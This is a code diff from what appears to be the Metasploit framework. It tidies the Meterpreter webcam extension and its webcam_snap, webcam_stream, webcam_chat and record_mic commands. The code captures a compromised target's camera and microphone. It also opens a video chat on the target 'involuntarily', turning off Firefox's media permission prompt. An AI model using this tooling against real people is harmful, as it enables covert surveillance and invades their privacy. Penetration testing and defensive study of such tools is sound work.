Land #5262, fix webcam_chat and tidy adjacent code
Brent Cook
commit
30830ad9e5
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@ -178,7 +178,7 @@
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<body>
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<div class="windowa" id="windowa">
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<b>You peer</b>
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<b>Your peer</b>
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</div>
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<div class="dot1"></div>
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@ -166,9 +166,9 @@ def self.open_webrtc_browser(url='http://google.com/')
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app_data = ENV['APPDATA']
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paths << "#{app_data}\\Google\\Chrome\\Application\\chrome.exe"
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paths.each do |p|
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if File.exists?(p)
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args = (p =~ /chrome\.exe/) ? "--allow-file-access-from-files" : ""
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paths.each do |path|
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if File.exists?(path)
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args = (path =~ /chrome\.exe/) ? "--allow-file-access-from-files" : ""
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system("#{path} #{args} #{url}")
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found_browser = true
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break
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@ -188,13 +188,14 @@ def self.open_webrtc_browser(url='http://google.com/')
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end
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else
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if defined? ENV['PATH']
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['chrome', 'chromium', 'firefox', 'opera'].each do |browser|
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['firefox', 'google-chrome', 'chrome', 'chromium', 'firefox', 'opera'].each do |browser|
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ENV['PATH'].split(':').each do |path|
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browser_path = "#{path}/#{browser}"
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if File.exists?(browser_path)
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args = (browser_path =~ /Chrome/) ? "--allow-file-access-from-files" : ""
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system("#{browser_path} #{args} #{url} &")
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found_browser = true
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break
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end
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end
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end
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@ -1,7 +1,5 @@
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# -*- coding: binary -*-
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#require 'rex/post/meterpreter/extensions/process'
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module Rex
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module Post
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module Meterpreter
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@ -15,7 +13,6 @@ module Webcam
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#
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###
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class Webcam
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include Msf::Post::Common
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include Msf::Post::File
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include Msf::Post::WebRTC
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@ -31,9 +28,9 @@ class Webcam
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def webcam_list
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response = client.send_request(Packet.create_request('webcam_list'))
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names = []
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response.get_tlvs( TLV_TYPE_WEBCAM_NAME ).each{ |tlv|
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response.get_tlvs(TLV_TYPE_WEBCAM_NAME).each do |tlv|
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names << tlv.value
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}
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end
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names
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end
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@ -49,11 +46,11 @@ class Webcam
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request = Packet.create_request('webcam_get_frame')
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request.add_tlv(TLV_TYPE_WEBCAM_QUALITY, quality)
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response = client.send_request(request)
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response.get_tlv( TLV_TYPE_WEBCAM_IMAGE ).value
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response.get_tlv(TLV_TYPE_WEBCAM_IMAGE).value
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end
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def webcam_stop
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client.send_request( Packet.create_request( 'webcam_stop' ) )
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client.send_request(Packet.create_request('webcam_stop'))
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true
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end
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@ -67,13 +64,13 @@ class Webcam
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offerer_id = Rex::Text.rand_text_alphanumeric(10)
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channel = Rex::Text.rand_text_alphanumeric(20)
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remote_browser_path = get_webrtc_browser_path
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remote_browser_path = webrtc_browser_path
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if remote_browser_path.blank?
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raise RuntimeError, "Unable to find a suitable browser on the target machine"
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fail "Unable to find a suitable browser on the target machine"
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end
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ready_status = init_video_chat(remote_browser_path, server, channel, offerer_id)
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init_video_chat(remote_browser_path, server, channel, offerer_id)
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connect_video_chat(server, channel, offerer_id)
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end
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@ -83,40 +80,39 @@ class Webcam
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request = Packet.create_request('webcam_audio_record')
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request.add_tlv(TLV_TYPE_AUDIO_DURATION, duration)
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response = client.send_request(request)
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response.get_tlv( TLV_TYPE_AUDIO_DATA ).value
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response.get_tlv(TLV_TYPE_AUDIO_DATA).value
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end
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attr_accessor :client
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private
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#
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# Returns a browser path that supports WebRTC
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#
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# @return [String]
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#
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def get_webrtc_browser_path
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def webrtc_browser_path
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found_browser_path = ''
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case client.platform
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when /win/
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paths = [
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"Program Files\\Google\\Chrome\\Application\\chrome.exe",
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"Program Files\\Mozilla Firefox\\firefox.exe"
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"%ProgramFiles(x86)%\\Google\\Chrome\\Application\\chrome.exe",
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"%ProgramFiles%\\Google\\Chrome\\Application\\chrome.exe",
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"%ProgramW6432%\\Google\\Chrome\\Application\\chrome.exe",
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"%ProgramFiles(x86)%\\Mozilla Firefox\\firefox.exe",
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"%ProgramFiles%\\Mozilla Firefox\\firefox.exe",
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"%ProgramW6432%\\Mozilla Firefox\\firefox.exe"
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]
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drive = session.sys.config.getenv("SYSTEMDRIVE")
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paths = paths.map { |p| "#{drive}\\#{p}" }
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# Old chrome path
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user_profile = client.sys.config.getenv("USERPROFILE")
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paths << "#{user_profile}\\Local Settings\\Application Data\\Google\\Chrome\\Application\\chrome.exe"
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paths.each do |browser_path|
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if file?(browser_path)
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found_browser_path = browser_path
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found_browser_path = client.fs.file.expand_path(browser_path)
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break
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end
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end
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@ -124,7 +120,7 @@ class Webcam
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when /osx|bsd/
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[
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'/Applications/Google Chrome.app',
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'/Applications/Firefox.app',
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'/Applications/Firefox.app'
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].each do |browser_path|
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if file?(browser_path)
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found_browser_path = browser_path
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@ -140,7 +136,6 @@ class Webcam
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found_browser_path
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end
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#
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# Creates a video chat session as an offerer... involuntarily :-p
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# Windows targets only.
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@ -161,9 +156,9 @@ class Webcam
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begin
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write_file("#{tmp_dir}\\interface.html", interface)
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write_file("#{tmp_dir}\\api.js", api)
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rescue ::Exception => e
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elog("webcam_chat failed. #{e.class} #{e.to_s}")
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raise RuntimeError, "Unable to initialize the interface on the target machine"
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rescue RuntimeError => e
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elog("webcam_chat failed. #{e.class} #{e}")
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raise "Unable to initialize the interface on the target machine"
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end
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#
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@ -176,26 +171,29 @@ class Webcam
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profile_name = Rex::Text.rand_text_alpha(8)
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o = cmd_exec("#{remote_browser_path} --CreateProfile #{profile_name} #{tmp_dir}\\#{profile_name}")
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profile_path = (o.scan(/created profile '.+' at '(.+)'/).flatten[0] || '').strip
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setting = %Q|user_pref("media.navigator.permission.disabled", true);|
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setting = %|user_pref("media.navigator.permission.disabled", true);|
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begin
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write_file(profile_path, setting)
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rescue ::Exception => e
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elog("webcam_chat failed: #{e.class} #{e.to_s}")
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raise RuntimeError, "Unable to write the necessary setting for Firefox."
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rescue RuntimeError => e
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elog("webcam_chat failed: #{e.class} #{e}")
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raise "Unable to write the necessary setting for Firefox."
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end
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args = "-p #{profile_name}"
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end
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exec_opts = {'Hidden' => false, 'Channelized' => false}
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exec_opts = { 'Hidden' => false, 'Channelized' => false }
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begin
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session.sys.process.execute(remote_browser_path, "#{args} #{tmp_dir}\\interface.html", exec_opts)
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rescue ::Exception => e
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elog("webcam_chat failed. #{e.class} #{e.to_s}")
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raise RuntimeError, "Unable to start the remote browser: #{e.message}"
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rescue RuntimeError => e
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elog("webcam_chat failed. #{e.class} #{e}")
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raise "Unable to start the remote browser: #{e.message}"
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end
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end
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end
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end; end; end; end; end; end
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end
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end
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end
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end
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end
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end
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@ -12,7 +12,6 @@ module Ui
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#
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###
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class Console::CommandDispatcher::Stdapi::Webcam
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Klass = Console::CommandDispatcher::Stdapi::Webcam
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include Console::CommandDispatcher
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@ -33,17 +32,16 @@ class Console::CommandDispatcher::Stdapi::Webcam
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"webcam_list" => [ "webcam_list" ],
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"webcam_snap" => [ "webcam_start", "webcam_get_frame", "webcam_stop" ],
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"webcam_stream" => [ "webcam_start", "webcam_get_frame", "webcam_stop" ],
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"record_mic" => [ "webcam_audio_record" ],
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"record_mic" => [ "webcam_audio_record" ]
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}
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all.delete_if do |cmd, desc|
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all.delete_if do |cmd, _desc|
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del = false
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reqs[cmd].each do |req|
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next if client.commands.include? req
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del = true
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break
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end
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del
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end
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@ -58,23 +56,26 @@ class Console::CommandDispatcher::Stdapi::Webcam
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end
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def cmd_webcam_list
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begin
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client.webcam.webcam_list.each_with_index { |name, indx|
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print_line("#{indx + 1}: #{name}")
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}
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return true
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rescue
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if client.webcam.webcam_list.length == 0
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print_error("No webcams were found")
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return false
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return
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end
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client.webcam.webcam_list.each_with_index do |name, indx|
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print_line("#{indx + 1}: #{name}")
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end
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end
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def cmd_webcam_snap(*args)
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if client.webcam.webcam_list.length == 0
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print_error("Target does not have a webcam")
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return
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end
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path = Rex::Text.rand_text_alpha(8) + ".jpeg"
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quality = 50
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view = true
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index = 1
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wc_list = []
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webcam_snap_opts = Rex::Parser::Arguments.new(
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"-h" => [ false, "Help Banner" ],
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@ -84,12 +85,12 @@ class Console::CommandDispatcher::Stdapi::Webcam
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"-v" => [ true, "Automatically view the JPEG image (Default: '#{view}')" ]
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)
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webcam_snap_opts.parse( args ) { | opt, idx, val |
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webcam_snap_opts.parse(args) do |opt, _idx, val|
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case opt
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when "-h"
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print_line( "Usage: webcam_snap [options]\n" )
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print_line( "Grab a frame from the specified webcam." )
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print_line( webcam_snap_opts.usage )
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print_line("Usage: webcam_snap [options]\n")
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print_line("Grab a frame from the specified webcam.")
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print_line(webcam_snap_opts.usage)
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return
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when "-i"
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index = val.to_i
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@ -98,37 +99,30 @@ class Console::CommandDispatcher::Stdapi::Webcam
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when "-p"
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path = val
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when "-v"
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view = false if ( val =~ /^(f|n|0)/i )
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view = false if val =~ /^(f|n|0)/i
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end
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}
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begin
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wc_list << client.webcam.webcam_list
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rescue
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end
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if wc_list.length > 0
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begin
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print_status("Starting...")
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client.webcam.webcam_start(index)
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webcam_started = true
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data = client.webcam.webcam_get_frame(quality)
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print_good("Got frame")
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ensure
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client.webcam.webcam_stop
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client.webcam.webcam_stop if webcam_started
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print_status("Stopped")
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end
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if( data )
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::File.open( path, 'wb' ) do |fd|
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fd.write( data )
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if data
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::File.open(path, 'wb') do |fd|
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fd.write(data)
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end
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path = ::File.expand_path( path )
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print_line( "Webcam shot saved to: #{path}" )
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Rex::Compat.open_file( path ) if view
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end
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return true
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else
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print_error("No webcams where found")
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return false
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path = ::File.expand_path(path)
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print_line("Webcam shot saved to: #{path}")
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Rex::Compat.open_file(path) if view
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end
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true
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end
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def cmd_webcam_chat(*args)
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@ -144,21 +138,20 @@ class Console::CommandDispatcher::Stdapi::Webcam
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"-s" => [ false, "WebSocket server" ]
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)
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webcam_chat_opts.parse( args ) { | opt, idx, val |
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webcam_chat_opts.parse(args) do |opt, _idx, val|
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case opt
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when "-h"
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print_line( "Usage: webcam_chat [options]\n" )
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print_line( "Starts a video conversation with your target." )
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print_line( "Browser Requirements:")
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print_line( "Chrome: version 23 or newer" )
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print_line( "Firefox: version 22 or newer" )
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print_line( webcam_chat_opts.usage )
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print_line("Usage: webcam_chat [options]\n")
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print_line("Starts a video conversation with your target.")
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print_line("Browser Requirements:")
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print_line("Chrome: version 23 or newer")
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print_line("Firefox: version 22 or newer")
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print_line(webcam_chat_opts.usage)
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return
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when "-s"
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server = val.to_s
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end
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}
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end
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begin
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print_status("Webcam chat session initialized.")
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@ -169,6 +162,11 @@ class Console::CommandDispatcher::Stdapi::Webcam
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end
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def cmd_webcam_stream(*args)
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if client.webcam.webcam_list.length == 0
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print_error("Target does not have a webcam")
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return
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end
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print_status("Starting...")
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stream_path = Rex::Text.rand_text_alpha(8) + ".jpeg"
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player_path = Rex::Text.rand_text_alpha(8) + ".html"
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@ -176,7 +174,6 @@ class Console::CommandDispatcher::Stdapi::Webcam
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quality = 50
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view = true
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index = 1
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wc_list = []
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webcam_snap_opts = Rex::Parser::Arguments.new(
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"-h" => [ false, "Help Banner" ],
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@ -188,12 +185,12 @@ class Console::CommandDispatcher::Stdapi::Webcam
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"-v" => [ true, "Automatically view the stream (Default: '#{view}')" ]
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)
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webcam_snap_opts.parse( args ) { | opt, idx, val |
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webcam_snap_opts.parse(args) do |opt, _idx, val|
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case opt
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when "-h"
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print_line( "Usage: webcam_stream [options]\n" )
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print_line( "Stream from the specified webcam." )
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print_line( webcam_snap_opts.usage )
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print_line("Usage: webcam_stream [options]\n")
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print_line("Stream from the specified webcam.")
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print_line(webcam_snap_opts.usage)
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return
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when "-d"
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duration = val.to_i
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@ -206,12 +203,12 @@ class Console::CommandDispatcher::Stdapi::Webcam
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when "-t"
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player_path = val
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when "-v"
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view = false if ( val =~ /^(f|n|0)/i )
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view = false if val =~ /^(f|n|0)/i
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end
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end
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}
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print_status("Preparing player...")
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html = %Q|<html>
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html = %|<html>
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<head>
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<META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE">
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<META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">
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@ -272,7 +269,8 @@ Status : <span id="status"></span>
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print_status("Streaming...")
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begin
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client.webcam.webcam_start(index)
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::Timeout.timeout(duration) {
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webcam_started = true
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::Timeout.timeout(duration) do
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while client do
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data = client.webcam.webcam_get_frame(quality)
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if data
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@ -282,10 +280,10 @@ Status : <span id="status"></span>
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data = nil
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end
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end
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}
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end
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rescue ::Timeout::Error
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ensure
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client.webcam.webcam_stop
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client.webcam.webcam_stop if webcam_started
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end
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print_status("Stopped")
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@ -299,45 +297,42 @@ Status : <span id="status"></span>
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record_mic_opts = Rex::Parser::Arguments.new(
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"-h" => [ false, "Help Banner" ],
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"-d" => [ true, "Number of seconds to record (Default: 1)" ],
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"-f" => [ true, "The wav file path (Default: '#{::File.expand_path( "[randomname].wav" )}')" ],
|
||||
"-f" => [ true, "The wav file path (Default: '#{::File.expand_path('[randomname].wav')}')" ],
|
||||
"-p" => [ true, "Automatically play the captured audio (Default: '#{play}')" ]
|
||||
)
|
||||
|
||||
record_mic_opts.parse( args ) { | opt, idx, val |
|
||||
record_mic_opts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
print_line( "Usage: record_mic [options]\n" )
|
||||
print_line( "Records audio from the default microphone." )
|
||||
print_line( record_mic_opts.usage )
|
||||
print_line("Usage: record_mic [options]\n")
|
||||
print_line("Records audio from the default microphone.")
|
||||
print_line(record_mic_opts.usage)
|
||||
return
|
||||
when "-d"
|
||||
duration = val.to_i
|
||||
when "-f"
|
||||
path = val
|
||||
when "-p"
|
||||
play = false if ( val =~ /^(f|n|0)/i )
|
||||
play = false if val =~ /^(f|n|0)/i
|
||||
end
|
||||
end
|
||||
}
|
||||
|
||||
print_status("Starting...")
|
||||
data = client.webcam.record_mic(duration)
|
||||
print_status("Stopped")
|
||||
|
||||
if( data )
|
||||
::File.open( path, 'wb' ) do |fd|
|
||||
fd.write( data )
|
||||
if data
|
||||
::File.open(path, 'wb') do |fd|
|
||||
fd.write(data)
|
||||
end
|
||||
path = ::File.expand_path( path )
|
||||
print_line( "Audio saved to: #{path}" )
|
||||
Rex::Compat.play_sound( path ) if play
|
||||
path = ::File.expand_path(path)
|
||||
print_line("Audio saved to: #{path}")
|
||||
Rex::Compat.play_sound(path) if play
|
||||
end
|
||||
return true
|
||||
true
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
|||
Loading…
Reference in New Issue